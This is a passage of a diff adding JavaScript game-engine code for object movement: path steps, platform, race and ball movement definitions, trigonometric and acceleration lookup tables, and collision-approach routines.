+ next = file.readUnsignedByte();
+ this.steps[n].load(file);
+ file.seek(debut + next);
+ }
+ }
+ });
+
+ // CPathStep object
+ // ----------------------------------------------------------
+ function CPathStep()
+ {
+ this.mdSpeed = 0;
+ this.mdDir = 0;
+ this.mdDx = 0;
+ this.mdDy = 0;
+ this.mdCosinus = 0;
+ this.mdSinus = 0;
+ this.mdLength = 0;
+ this.mdPause = 0;
+ this.mdName = null;
+ }
+ CPathStep.prototype =
+ {
+ load: function (file)
+ {
+ this.mdSpeed = file.readAByte();
+ this.mdDir = file.readAByte();
+ this.mdDx = file.readShort();
+ this.mdDy = file.readShort();
+ this.mdCosinus = file.readShort();
+ this.mdSinus = file.readShort();
+ this.mdLength = file.readAShort();
+ this.mdPause = file.readAShort();
+ var name = file.readAString();
+ if (name.length > 0)
+ this.mdName = name;
+ }
+ }
+
+ // CMoveDefPlatform object
+ // -------------------------------------------------------------
+ function CMoveDefPlatform()
+ {
+ this.mpSpeed = 0;
+ this.mpAcc = 0;
+ this.mpDec = 0;
+ this.mpJumpControl = 0;
+ this.mpGravity = 0;
+ this.mpJump = 0;
+ }
+ CMoveDefPlatform.prototype = CServices.extend(new CMoveDef(),
+ {
+ load: function (file, length)
+ {
+ this.mpSpeed = file.readAShort();
+ this.mpAcc = file.readAShort();
+ this.mpDec = file.readAShort();
+ this.mpJumpControl = file.readAShort();
+ this.mpGravity = file.readAShort();
+ this.mpJump = file.readAShort();
+ }
+ });
+
+ // CMoveDefRace object
+ // ------------------------------------------------------------
+ function CMoveDefRace()
+ {
+ this.mrSpeed = 0;
+ this.mrAcc = 0;
+ this.mrDec = 0;
+ this.mrRot = 0;
+ this.mrBounceMult = 0;
+ this.mrAngles = 0;
+ this.mrOkReverse = 0;
+ }
+ CMoveDefRace.prototype = CServices.extend(new CMoveDef(),
+ {
+ load: function (file, length)
+ {
+ this.mrSpeed = file.readAShort();
+ this.mrAcc = file.readAShort();
+ this.mrDec = file.readAShort();
+ this.mrRot = file.readAShort();
+ this.mrBounceMult = file.readAShort();
+ this.mrAngles = file.readAShort();
+ this.mrOkReverse = file.readAShort();
+ }
+ });
+
+ // CMoveDefStatic object
+ // ------------------------------------------------------------
+ function CMoveDefStatic()
+ {
+ }
+ CMoveDefStatic.prototype = CServices.extend(new CMoveDef(),
+ {
+ load: function (file, length)
+ {
+ }
+ });
+
+ // CMoveDefStatic object
+ // ------------------------------------------------------------
+ function CMoveDefExtension()
+ {
+ this.moduleName = null;
+ this.mvtID = 0;
+ this.data = 0;
+ }
+ CMoveDefExtension.prototype = CServices.extend(new CMoveDef(),
+ {
+ load: function (file, length)
+ {
+ file.skipBytes(14);
+ this.data = file.getFilePointer();
+ },
+ setModuleName: function (name, id)
+ {
+ this.moduleName = name;
+ this.mvtID = id;
+ }
+ });
+
+ // CMove object
+ // ------------------------------------------------------------
+ CMove.Cosinus32 =
+ [
+ 256, 251, 236, 212, 181, 142, 97, 49,
+ 0, -49, -97, -142, -181, -212, -236, -251,
+ -256, -251, -236, -212, -181, -142, -97, -49,
+ 0, 49, 97, 142, 181, 212, 236, 251
+ ];
+ CMove.Sinus32 =
+ [
+ 0, -49, -97, -142, -181, -212, -236, -251,
+ -256, -251, -236, -212, -181, -142, -97, -49,
+ 0, 49, 97, 142, 181, 212, 236, 251,
+ 256, 251, 236, 212, 181, 142, 97, 49
+ ];
+ CMove.accelerators =
+ [
+ 0x0002, 0x0003, 0x0004, 0x0006, 0x0008, 0x000a, 0x000c, 0x0010, 0x0014, 0x0018,
+ 0x0030, 0x0038, 0x0040, 0x0048, 0x0050, 0x0058, 0x0060, 0x0068, 0x0070, 0x0078,
+ 0x0090, 0x00A0, 0x00B0, 0x00c0, 0x00d0, 0x00e0, 0x00f0, 0x0100, 0x0110, 0x0120,
+ 0x0140, 0x0150, 0x0160, 0x0170, 0x0180, 0x0190, 0x01a0, 0x01b0, 0x01c0, 0x01e0,
+ 0x0200, 0x0220, 0x0230, 0x0250, 0x0270, 0x0280, 0x02a0, 0x02b0, 0x02d0, 0x02e0,
+ 0x0300, 0x0310, 0x0330, 0x0350, 0x0360, 0x0380, 0x03a0, 0x03b0, 0x03d0, 0x03e0,
+ 0x0400, 0x0460, 0x04c0, 0x0520, 0x05a0, 0x0600, 0x0660, 0x06c0, 0x0720, 0x07a0,
+ 0x0800, 0x08c0, 0x0980, 0x0a80, 0x0b40, 0x0c00, 0x0cc0, 0x0d80, 0x0e80, 0x0f40,
+ 0x1000, 0x1990, 0x1332, 0x1460, 0x1664, 0x1800, 0x1999, 0x1b32, 0x1cc6, 0x1e64,
+ 0x2000, 0x266c, 0x2d98, 0x3404, 0x3a70, 0x40dc, 0x4748, 0x4db4, 0x5400, 0x6400,
+ 0x6400
+ ];
+ CMove.Joy2Dir =
+ [
+ -1,
+ 8,
+ 24,
+ -1,
+ 16,
+ 12,
+ 20,
+ 16,
+ 0,
+ 4,
+ 28,
+ 0,
+ -1,
+ 8,
+ 24,
+ -1
+ ];
+ CMove.CosSurSin32 = [2599, 0, 844, 31, 479, 30, 312, 29, 210, 28, 137, 27, 78, 26, 25, 25, 0, 24];
+ CMove.mvap_TableDirs =
+ [
+ 0, -2, 0, 2, 0, -4, 0, 4, 0, -8, 0, 8, -4, 0, -8, 0, 0, 0,
+ -2, -2, 2, 2, -4, -4, 4, 4, -8, -8, 8, 8, -4, 4, -8, 8, 0, 0,
+ -2, 0, 2, 0, -4, 0, 4, 0, -8, 0, 8, 0, 0, 4, 0, 8, 0, 0,
+ -2, 2, 2, -2, -4, 4, 4, -4, -8, 8, 8, -8, 4, 4, 8, 8, 0, 0,
+ 0, 2, 0, -2, 0, 4, 0, -4, 0, 8, 0, -8, 4, 0, 8, 0, 0, 0,
+ 2, 2, -2, -2, 4, 4, -4, -4, 8, 8, -8, -8, 4, -4, 8, -8, 0, 0,
+ 2, 0, -2, 0, 4, 0, -4, 0, 8, 0, -8, 0, 0, -4, 0, -8, 0, 0,
+ 2, -2, -2, 2, 4, -4, -4, 4, 8, -8, -8, 8, -4, -4, -8, -8, 0, 0
+ ];
+ CMove.MVTOPT_8DIR_STICK = 0x01;
+ CMove.getDeltaX = function (pente, angle)
+ {
+ return (pente * CMove.Cosinus32[angle]) / 256;
+ }
+ CMove.getDeltaY = function (pente, angle)
+ {
+ return (pente * CMove.Sinus32[angle]) / 256;
+ }
+ function CMove()
+ {
+ this.hoPtr = null;
+ this.rmAcc = 0;
+ this.rmDec = 0;
+ this.rmCollisionCount = 0;
+ this.rmStopSpeed = 0;
+ this.rmAccValue = 0;
+ this.rmDecValue = 0;
+ this.rmOpt = 0;
+ }
+
+ CMove.prototype =
+ {
+ newMake_Move: function (speed, angle)
+ {
+
+ this.hoPtr.hoAdRunHeader.rh3CollisionCount++;
+ this.rmCollisionCount = this.hoPtr.hoAdRunHeader.rh3CollisionCount;
+ this.hoPtr.rom.rmMoveFlag = false;
+
+ if (speed == 0)
+ {
+ this.hoPtr.hoAdRunHeader.newHandle_Collisions(this.hoPtr);
+ return false;
+ }
+
+ var x, y;
+ var speedShift;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ {
+ speedShift = Math.floor(speed * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef * 32.0);
+ }
+ else
+ {
+ speedShift = speed << 5;
+ }
+ while (speedShift > 2048)
+ {
+ x = this.hoPtr.hoX * 65536 + (this.hoPtr.hoCalculX & 0x0000FFFF);
+ y = this.hoPtr.hoY * 65536 + (this.hoPtr.hoCalculY & 0x0000FFFF);
+ x += CMove.Cosinus32[angle] * 2048;
+ y += CMove.Sinus32[angle] * 2048;
+ this.hoPtr.hoCalculX = x & 0x0000FFFF;
+ this.hoPtr.hoX = Math.floor(x / 65536);
+ this.hoPtr.hoCalculY = y & 0x0000FFFF;
+ this.hoPtr.hoY = Math.floor(y / 65536);
+
+ if (this.hoPtr.hoAdRunHeader.newHandle_Collisions(this.hoPtr))
+ {
+ return true;
+ }
+ if (this.hoPtr.rom.rmMoveFlag)
+ {
+ break;
+ }
+ speedShift -= 0x0800;
+ }
+ ;
+ if (!this.hoPtr.rom.rmMoveFlag)
+ {
+ x = this.hoPtr.hoX * 65536 + (this.hoPtr.hoCalculX & 0x0000FFFF);
+ y = this.hoPtr.hoY * 65536 + (this.hoPtr.hoCalculY & 0x0000FFFF);
+ x += CMove.Cosinus32[angle] * speedShift;
+ y += CMove.Sinus32[angle] * speedShift;
+ this.hoPtr.hoCalculX = x & 0x0000FFFF;
+ this.hoPtr.hoX = Math.floor(x / 65536);
+ this.hoPtr.hoCalculY = y & 0x0000FFFF;
+ this.hoPtr.hoY = Math.floor(y / 65536);
+
+ if (this.hoPtr.hoAdRunHeader.newHandle_Collisions(this.hoPtr))
+ {
+ return true;
+ }
+ }
+ this.hoPtr.roc.rcChanged = true;
+ if (!this.hoPtr.rom.rmMoveFlag)
+ this.hoPtr.hoAdRunHeader.rhVBLObjet = 0;
+
+ return this.hoPtr.rom.rmMoveFlag;
+ },
+
+ moveAtStart: function (mvPtr)
+ {
+ if (mvPtr.mvMoveAtStart == 0)
+ {
+ this.stop();
+ }
+ },
+
+ getAccelerator: function (acceleration)
+ {
+ if (acceleration <= 100)
+ {
+ return CMove.accelerators[acceleration];
+ }
+ return acceleration << 8;
+ },
+
+ mv_Approach: function (bStickToObject)
+ {
+ if (bStickToObject)
+ {
+ this.mb_Approach(false);
+ return;
+ }
+
+ var flag = false;
+
+ switch (this.hoPtr.hoAdRunHeader.rhEvtProg.rhCurCode & 0xFFFF0000)
+ {
+ case (-12 << 16): // CNDL_EXTOUTPLAYFIELD:
+ var x = this.hoPtr.hoX - this.hoPtr.hoImgXSpot;
+ var y = this.hoPtr.hoY - this.hoPtr.hoImgYSpot;
+ var dir = this.hoPtr.hoAdRunHeader.quadran_Out(x, y, x + this.hoPtr.hoImgWidth, y + this.hoPtr.hoImgHeight);
+ x = this.hoPtr.hoX;
+ y = this.hoPtr.hoY;
+ if ((dir & CRun.BORDER_LEFT) != 0)
+ x = this.hoPtr.hoImgXSpot;
+ if ((dir & CRun.BORDER_RIGHT) != 0)
+ x = this.hoPtr.hoAdRunHeader.rhLevelSx - this.hoPtr.hoImgWidth + this.hoPtr.hoImgXSpot;
+ if ((dir & CRun.BORDER_TOP) != 0)
+ y = this.hoPtr.hoImgYSpot;
+ if ((dir & CRun.BORDER_BOTTOM) != 0)
+ y = this.hoPtr.hoAdRunHeader.rhLevelSy - this.hoPtr.hoImgHeight + this.hoPtr.hoImgYSpot;
+ this.hoPtr.hoX = x;
+ this.hoPtr.hoY = y;
+ return;
+ case (-13 << 16): // CNDL_EXTCOLBACK:
+ case (-14 << 16): // CNDL_EXTCOLLISION:
+ var index = (this.hoPtr.hoAdRunHeader.getDir(this.hoPtr) >> 2) * 18;
+ do
+ {
+ if (this.tst_Position(this.hoPtr.hoX + CMove.mvap_TableDirs[index], this.hoPtr.hoY + CMove.mvap_TableDirs[index + 1], flag))
+ {
+ this.hoPtr.hoX += CMove.mvap_TableDirs[index];
+ this.hoPtr.hoY += CMove.mvap_TableDirs[index + 1];
+ return;
+ }
+ index += 2;
+ } while (CMove.mvap_TableDirs[index] != 0 || CMove.mvap_TableDirs[index + 1] != 0);
+
+ if (flag == false)
+ {
+ this.hoPtr.hoX = this.hoPtr.roc.rcOldX;
+ this.hoPtr.hoY = this.hoPtr.roc.rcOldY;
+ this.hoPtr.roc.rcImage = this.hoPtr.roc.rcOldImage;
+ this.hoPtr.roc.rcAngle = this.hoPtr.roc.rcOldAngle;
+ return;
+ }
+ break;
+ default:
+ break;
+ }
+ },
+
+ mb_Approach: function (flag)
+ {
+ switch (this.hoPtr.hoAdRunHeader.rhEvtProg.rhCurCode & 0xFFFF0000)
+ {
+ case (-12 << 16): // CNDL_EXTOUTPLAYFIELD:
+ var x = this.hoPtr.hoX - this.hoPtr.hoImgXSpot;
+ var y = this.hoPtr.hoY - this.hoPtr.hoImgYSpot;
+ var dir = this.hoPtr.hoAdRunHeader.quadran_Out(x, y, x + this.hoPtr.hoImgWidth, y + this.hoPtr.hoImgHeight);
+ x = this.hoPtr.hoX;
+ y = this.hoPtr.hoY;
+ if ((dir & CRun.BORDER_LEFT) != 0)
+ x = this.hoPtr.hoImgXSpot;
+ if ((dir & CRun.BORDER_RIGHT) != 0)
+ x = this.hoPtr.hoAdRunHeader.rhLevelSx - this.hoPtr.hoImgWidth + this.hoPtr.hoImgXSpot;
+ if ((dir & CRun.BORDER_TOP) != 0)
+ y = this.hoPtr.hoImgYSpot;
+ if ((dir & CRun.BORDER_BOTTOM) != 0)
+ y = this.hoPtr.hoAdRunHeader.rhLevelSy - this.hoPtr.hoImgHeight + this.hoPtr.hoImgYSpot;
+ this.hoPtr.hoX = x;
+ this.hoPtr.hoY = y;
+ return;
+
+ case (-13 << 16): // CNDL_EXTCOLBACK:
+ case (-14 << 16): // CNDL_EXTCOLLISION:
+ var pt = new CPoint();
+ if (this.mbApproachSprite(this.hoPtr.hoX, this.hoPtr.hoY, this.hoPtr.roc.rcOldX, this.hoPtr.roc.rcOldY, flag, pt))
+ {
+ this.hoPtr.hoX = pt.x;
+ this.hoPtr.hoY = pt.y;
+ return;
+ }
+ var index = (this.hoPtr.hoAdRunHeader.getDir(this.hoPtr) >> 2) * 18;
+ do
+ {
+ if (this.tst_Position(this.hoPtr.hoX + CMove.mvap_TableDirs[index], this.hoPtr.hoY + CMove.mvap_TableDirs[index + 1], flag))
+ {
+ this.hoPtr.hoX += CMove.mvap_TableDirs[index];
+ this.hoPtr.hoY += CMove.mvap_TableDirs[index + 1];
+ return;
+ }
+ index += 2;
+ } while (CMove.mvap_TableDirs[index] != 0 || CMove.mvap_TableDirs[index + 1] != 0);
+
+ if (flag == false)
+ {
+ this.hoPtr.hoX = this.hoPtr.roc.rcOldX;
+ this.hoPtr.hoY = this.hoPtr.roc.rcOldY;
+ this.hoPtr.roc.rcImage = this.hoPtr.roc.rcOldImage;
+ this.hoPtr.roc.rcAngle = this.hoPtr.roc.rcOldAngle;
+ return;
+ }
+ break;
+ default:
+ break;
+ }
+ },
+
+ tst_SpritePosition: function (x, y, htFoot, planCol, flag)
+ {
+ var sprOi;
+ sprOi = -1;
+ if (flag)
+ {
+ sprOi = this.hoPtr.hoOi;
+ }
+ var oilPtr = this.hoPtr.hoOiList;
+
+ if ((oilPtr.oilLimitFlags & 0x000F) != 0)
+ {
+ var xx = x - this.hoPtr.hoImgXSpot;
+ var yy = y - this.hoPtr.hoImgYSpot;
+ if ((this.hoPtr.hoAdRunHeader.quadran_Out(xx, yy, xx + this.hoPtr.hoImgWidth, yy + this.hoPtr.hoImgHeight) & oilPtr.oilLimitFlags) != 0)
+ return false;
+ }
+
+ if ((oilPtr.oilLimitFlags & 0x0010) != 0)
+ {
+ if (this.hoPtr.hoAdRunHeader.colMask_TestObject_IXY(this.hoPtr, this.hoPtr.roc.rcImage, this.hoPtr.roc.rcAngle, this.hoPtr.roc.rcScaleX, this.hoPtr.roc.rcScaleY, x, y, htFoot, planCol))
+ return false;
+ }
+
+ if (oilPtr.oilLimitList == -1)
+ return true;
+
+ // Demande les collisions a cette position...
+ var list = this.hoPtr.hoAdRunHeader.objectAllCol_IXY(this.hoPtr, this.hoPtr.roc.rcImage, this.hoPtr.roc.rcAngle, this.hoPtr.roc.rcScaleX, this.hoPtr.roc.rcScaleY, x, y, oilPtr.oilColList);
+ if (list == null)
+ return true;
+
+ var lb = this.hoPtr.hoAdRunHeader.rhEvtProg.limitBuffer;
+ var index;
+ for (index = 0; index < list.size(); index++)
+ {
+ var hoSprite = list.get(index);
+ var oi = hoSprite.hoOi;
+ if (oi != sprOi)
+ {
+ var ll;
+ for (ll = oilPtr.oilLimitList; lb[ll] >= 0; ll++)
+ {
+ if (lb[ll] == oi)
+ return false;
+ }
+ }
+ }
+ return true;
+ },
+
+ tst_Position: function (x, y, flag)
+ {
+ var sprOi;
+
+ sprOi = -1;
+ if (flag)
+ sprOi = this.hoPtr.hoOi;
+ var oilPtr = this.hoPtr.hoOiList;
+
+ if ((oilPtr.oilLimitFlags & 0x000F) != 0)
+ {
+ var xx = x - this.hoPtr.hoImgXSpot;
+ var yy = y - this.hoPtr.hoImgYSpot;
+ var dir = this.hoPtr.hoAdRunHeader.quadran_Out(xx, yy, xx + this.hoPtr.hoImgWidth, yy + this.hoPtr.hoImgHeight);
+ if ((dir & oilPtr.oilLimitFlags) != 0)
+ return false;
+ }
+
+ if ((oilPtr.oilLimitFlags & 0x0010) != 0)
+ {
+ if (this.hoPtr.hoAdRunHeader.colMask_TestObject_IXY(this.hoPtr, this.hoPtr.roc.rcImage, this.hoPtr.roc.rcAngle, this.hoPtr.roc.rcScaleX, this.hoPtr.roc.rcScaleY, x, y, 0, CRunFrame.CM_TEST_PLATFORM))
+ return false;
+ }
+
+ if (oilPtr.oilLimitList == -1)
+ return true;
+
+ var list = this.hoPtr.hoAdRunHeader.objectAllCol_IXY(this.hoPtr, this.hoPtr.roc.rcImage, this.hoPtr.roc.rcAngle, this.hoPtr.roc.rcScaleX, this.hoPtr.roc.rcScaleY, x, y, oilPtr.oilColList);
+ if (list == null)
+ return true;
+
+ var lb = this.hoPtr.hoAdRunHeader.rhEvtProg.limitBuffer;
+ var index;
+ for (index = 0; index < list.size(); index++)
+ {
+ var hoSprite = list.get(index);
+ var oi = hoSprite.hoOi;
+ if (oi != sprOi)
+ {
+ var ll;
+ for (ll = oilPtr.oilLimitList; lb[ll] >= 0; ll++)
+ {
+ if (lb[ll] == oi) return false;
+ }
+ }
+ }
+ return true;
+ },
+
+ mpApproachSprite: function (destX, destY, maxX, maxY, htFoot, planCol, ptFinal)
+ {
+ var presX = destX;
+ var presY = destY;
+ var loinX = maxX;
+ var loinY = maxY;
+
+ var x = CServices.floatToInt((presX + loinX) / 2);
+ var y = CServices.floatToInt((presY + loinY) / 2);
+ var oldX, oldY;
+
+ do
+ {
+ if (this.tst_SpritePosition(x + this.hoPtr.hoAdRunHeader.rhWindowX, y + this.hoPtr.hoAdRunHeader.rhWindowY, htFoot, planCol, false))
+ {
+ loinX = x;
+ loinY = y;
+ oldX = x;
+ oldY = y;
+ x = CServices.floatToInt((loinX + presX) / 2);
+ y = CServices.floatToInt((loinY + presY) / 2);
+ if (x == oldX && y == oldY)
+ {
+ if (loinX != presX || loinY != presY)
+ {
+ if (this.tst_SpritePosition(presX + this.hoPtr.hoAdRunHeader.rhWindowX, presY + this.hoPtr.hoAdRunHeader.rhWindowY, htFoot, planCol, false))
+ {
+ x = presX;
+ y = presY;
+ }
+ }
+ ptFinal.x = x;
+ ptFinal.y = y;
+ return true;
+ }
+ }
+ else
+ {
+ presX = x;
+ presY = y;
+ oldX = x;
+ oldY = y;
+ x = CServices.floatToInt((loinX + presX) / 2);
+ y = CServices.floatToInt((loinY + presY) / 2);
+ if (x == oldX && y == oldY)
+ {
+ if (loinX != presX || loinY != presY)
+ {
+ if (this.tst_SpritePosition(loinX + this.hoPtr.hoAdRunHeader.rhWindowX, loinY + this.hoPtr.hoAdRunHeader.rhWindowY, htFoot, planCol, false))
+ {
+ ptFinal.x = loinX;
+ ptFinal.y = loinY;
+ return true;
+ }
+ }
+ ptFinal.x = x;
+ ptFinal.y = y;
+ return false;
+ }
+ }
+ } while (true);
+ },
+
+ mbApproachSprite: function (destX, destY, maxX, maxY, flag, ptFinal)
+ {
+ var presX = destX;
+ var presY = destY;
+ var loinX = maxX;
+ var loinY = maxY;
+
+ var x = CServices.floatToInt((presX + loinX) / 2);
+ var y = CServices.floatToInt((presY + loinY) / 2);
+ var oldX, oldY;
+
+ do
+ {
+ if (this.tst_Position(x, y, flag))
+ {
+ loinX = x;
+ loinY = y;
+ oldX = x;
+ oldY = y;
+ x = CServices.floatToInt((loinX + presX) / 2);
+ y = CServices.floatToInt((loinY + presY) / 2);
+ if (x == oldX && y == oldY)
+ {
+ if (loinX != presX || loinY != presY)
+ {
+ if (this.tst_Position(presX, presY, flag))
+ {
+ x = presX;
+ y = presY;
+ }
+ }
+ ptFinal.x = x;
+ ptFinal.y = y;
+ return true;
+ }
+ }
+ else
+ {
+ presX = x;
+ presY = y;
+ oldX = x;
+ oldY = y;
+ x = CServices.floatToInt((loinX + presX) / 2);
+ y = CServices.floatToInt((loinY + presY) / 2);
+ if (x == oldX && y == oldY)
+ {
+ if (loinX != presX || loinY != presY)
+ {
+ if (this.tst_Position(loinX, loinY, flag))
+ {
+ ptFinal.x = loinX;
+ ptFinal.y = loinY;
+ return true;
+ }
+ }
+ ptFinal.x = x;
+ ptFinal.y = y;
+ return false;
+ }
+ }
+ } while (true);
+ },
+
+ setAcc: function (acc)
+ {
+ this.rmAcc = acc;
+ this.rmAccValue = this.getAccelerator(acc);
+ if (this.hoPtr.roc.rcMovementType == CMoveDef.MVTYPE_EXT)
+ this.movement.setAcc(acc);
+ },
+ setDec: function (dec)
+ {
+ this.rmDec = dec;
+ this.rmDecValue = this.getAccelerator(dec);
+ if (this.hoPtr.roc.rcMovementType == CMoveDef.MVTYPE_EXT)
+ this.movement.setDec(dec);
+ },
+ setRotSpeed: function (speed)
+ {
+ if (this.hoPtr.roc.rcMovementType == CMoveDef.MVTYPE_RACE)
+ {
+ if (speed > 250) speed = 250;
+ if (speed < 0) speed = 0;
+ this.setRotSpeed(speed);
+ }
+ if (this.hoPtr.roc.rcMovementType == CMoveDef.MVTYPE_EXT)
+ this.movement.setRotSpeed(speed);
+ },
+
+ set8Dirs: function (dirs)
+ {
+ if (this.hoPtr.roc.rcMovementType == CMoveDef.MVTYPE_GENERIC)
+ this.set8DirsGeneric(dirs);
+ if (this.hoPtr.roc.rcMovementType == CMoveDef.MVTYPE_EXT)
+ this.movement.set8Dirs(dirs);
+ },
+
+ setGravity: function (gravity)
+ {
+ if (this.hoPtr.roc.rcMovementType == CMoveDef.MVTYPE_PLATFORM)
+ {
+ if (gravity > 250) gravity = 250;
+ if (gravity < 0) gravity = 0;
+ this.setGravity(gravity);
+ }
+ if (this.hoPtr.roc.rcMovementType == CMoveDef.MVTYPE_EXT)
+ this.movement.setGravity(gravity);
+ },
+
+ getSpeed: function ()
+ {
+ if (this.hoPtr.roc.rcMovementType == CMoveDef.MVTYPE_EXT)
+ return this.movement.getSpeed();
+ return this.hoPtr.roc.rcSpeed;
+ },
+ getDir: function ()
+ {
+ if (this.hoPtr.roc.rcMovementType == CMoveDef.MVTYPE_EXT)
+ {
+ if (this.movement.getDir)
+ {
+ return this.movement.getDir();
+ }
+ }
+ return this.hoPtr.roc.rcDir;
+ },
+ getAcc: function ()
+ {
+ if (this.hoPtr.roc.rcMovementType == CMoveDef.MVTYPE_EXT)
+ return this.movement.getAcceleration();
+ return this.rmAcc;
+ },
+ getDec: function ()
+ {
+ if (this.hoPtr.roc.rcMovementType == CMoveDef.MVTYPE_EXT)
+ return this.movement.getDeceleration();
+ return this.rmDec;
+ },
+ getGravity: function ()
+ {
+ if (this.hoPtr.roc.rcMovementType == CMoveDef.MVTYPE_PLATFORM)
+ return this.mp.MP_Gravity;
+ if (this.hoPtr.roc.rcMovementType == CMoveDef.MVTYPE_EXT)
+ return this.movement.getGravity();
+ return 0;
+ },
+ kill: function (bFast)
+ {
+ },
+ start: function ()
+ {
+ }
+ }
+
+
+ // CMoveBall object
+ // -----------------------------------------------------------------------
+ CMoveBall.rebond_List =
+ [
+ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
+ 30, 31, 0, 1, 4, 3, 2, 1, 0, 31, 30, 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, 24, 25, 26, 27, 27, 28, 28, 28, 28, 29, 29,
+ 24, 23, 22, 21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 16, 17, 18, 19, 19, 20, 20, 20, 20, 21, 21, 22, 23, 24, 25, 28, 27, 26, 25,
+ 0, 31, 30, 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, 19, 18, 17, 16, 20, 21, 22, 22, 23, 24, 24, 24, 24, 25, 26, 27, 28, 29, 30,
+ 8, 7, 6, 5, 4, 8, 9, 10, 11, 11, 12, 12, 12, 12, 13, 13, 14, 15, 16, 17, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9,
+ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
+ 16, 15, 14, 13, 12, 11, 10, 9, 8, 12, 13, 14, 15, 15, 16, 16, 16, 16, 17, 17, 18, 19, 20, 21, 24, 23, 22, 21, 20, 19, 18, 17,
+ 16, 17, 18, 19, 20, 21, 22, 23, 24, 23, 22, 21, 20, 19, 18, 17, 16, 17, 18, 19, 20, 21, 22, 23, 24, 23, 22, 21, 20, 19, 18, 17,
+ 3, 3, 4, 4, 4, 4, 5, 5, 6, 7, 8, 9, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0, 31, 30, 29, 28, 0, 1, 2,
+ 0, 0, 1, 1, 2, 3, 4, 5, 8, 7, 6, 5, 4, 3, 2, 1, 0, 31, 30, 29, 28, 27, 26, 25, 24, 28, 29, 30, 31, 31, 0, 0,
+ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
+ 0, 31, 30, 29, 28, 27, 26, 25, 24, 25, 26, 27, 28, 29, 30, 31, 0, 31, 30, 29, 28, 27, 25, 25, 24, 25, 26, 27, 28, 29, 30, 31,
+ 0, 4, 5, 6, 7, 7, 8, 8, 8, 8, 9, 9, 10, 11, 12, 13, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1,
+ 0, 1, 2, 3, 4, 5, 6, 7, 8, 7, 6, 5, 4, 3, 2, 1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 7, 6, 5, 4, 3, 2, 1,
+ 16, 15, 14, 13, 12, 11, 10, 9, 8, 9, 10, 11, 12, 13, 14, 15, 16, 15, 14, 13, 12, 11, 10, 9, 8, 9, 10, 11, 12, 13, 14, 15,
+ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31
+ ];
+ CMoveBall.MaskBounce = [0xFFFFFFFC, 0xFFFFFFFE, 0xFFFFFFFF];
+ CMoveBall.PlusAngles = [-4, 4, -2, 2, -1, 1];
+ CMoveBall.PlusAnglesTry = [-4, 4, -4, 4, -4, 4];
+
+ function CMoveBall()
+ {
+ this.MB_StartDir = 0;
+ this.MB_Angles = 0;
+ this.MB_Securite = 0;
+ this.MB_SecuCpt = 0;
+ this.MB_Bounce = 0;
+ this.MB_Speed = 0;
+ this.MB_MaskBounce = 0;
+ this.MB_LastBounce = 0;
+ this.MB_Blocked = false;
+ }
+ CMoveBall.prototype = CServices.extend(new CMove(),
+ {
+ init: function (ho, mvPtr)
+ {
+ this.hoPtr = ho;
+ var mbPtr = mvPtr;
+
+ this.hoPtr.hoCalculX = 0;
+ this.hoPtr.hoCalculY = 0;
+ this.hoPtr.roc.rcSpeed = mbPtr.mbSpeed;
+ this.hoPtr.roc.rcMaxSpeed = mbPtr.mbSpeed;
+ this.hoPtr.roc.rcMinSpeed = mbPtr.mbSpeed;
+ this.MB_Speed = mbPtr.mbSpeed << 8;
+ var dec = mbPtr.mbDecelerate; //; Deceleration
+ if (dec != 0)
+ {
+ dec = this.getAccelerator(dec);
+ this.hoPtr.roc.rcMinSpeed = 0; //; Vitesse mini= 0
+ }
+ this.rmDecValue = dec;
+ this.MB_Bounce = mbPtr.mbBounce; //; Randomizator
+ this.MB_Angles = mbPtr.mbAngles; //; Securite 0.100
+ this.MB_MaskBounce = CMoveBall.MaskBounce[this.MB_Angles];
+ this.MB_Blocked = false;
+ this.MB_LastBounce = -1;
+
+ this.MB_Securite = (100 - mbPtr.mbSecurity) / 8;
+ this.MB_SecuCpt = this.MB_Securite;
+ this.moveAtStart(mvPtr);
+ this.hoPtr.roc.rcChanged = true;
+ },
+
+ move: function ()
+ {
+ this.hoPtr.rom.rmBouncing = false;
+ this.hoPtr.hoAdRunHeader.rhVBLObjet = 1;
+
+ this.hoPtr.roc.rcAnim = CAnim.ANIMID_WALK;
+ if (this.hoPtr.roa != null)
+ this.hoPtr.roa.animate();
+
+ if (this.rmDecValue != 0)
+ {
+ var speed = this.MB_Speed;
+ if (speed > 0)
+ {
+ var dSpeed = this.rmDecValue;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ dSpeed = dSpeed * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef;
+ speed -= dSpeed;
+ if (speed < 0)
+ speed = 0;
+ this.MB_Speed = speed;
+ speed >>= 8;
+ this.hoPtr.roc.rcSpeed = speed;
+ }
+ }
+ this.newMake_Move(this.hoPtr.roc.rcSpeed, this.hoPtr.hoAdRunHeader.getDir(this.hoPtr));
+ },
+ stop: function ()
+ {
+ if (this.rmStopSpeed == 0)
+ {
+ this.rmStopSpeed = this.hoPtr.roc.rcSpeed | 0x8000;
+ this.hoPtr.roc.rcSpeed = 0;
+ this.MB_Speed = 0;
+ this.hoPtr.rom.rmMoveFlag = true;
+ }
+ },
+
+ start: function ()
+ {
+ var speed = this.rmStopSpeed;
+ if (speed != 0)
+ {
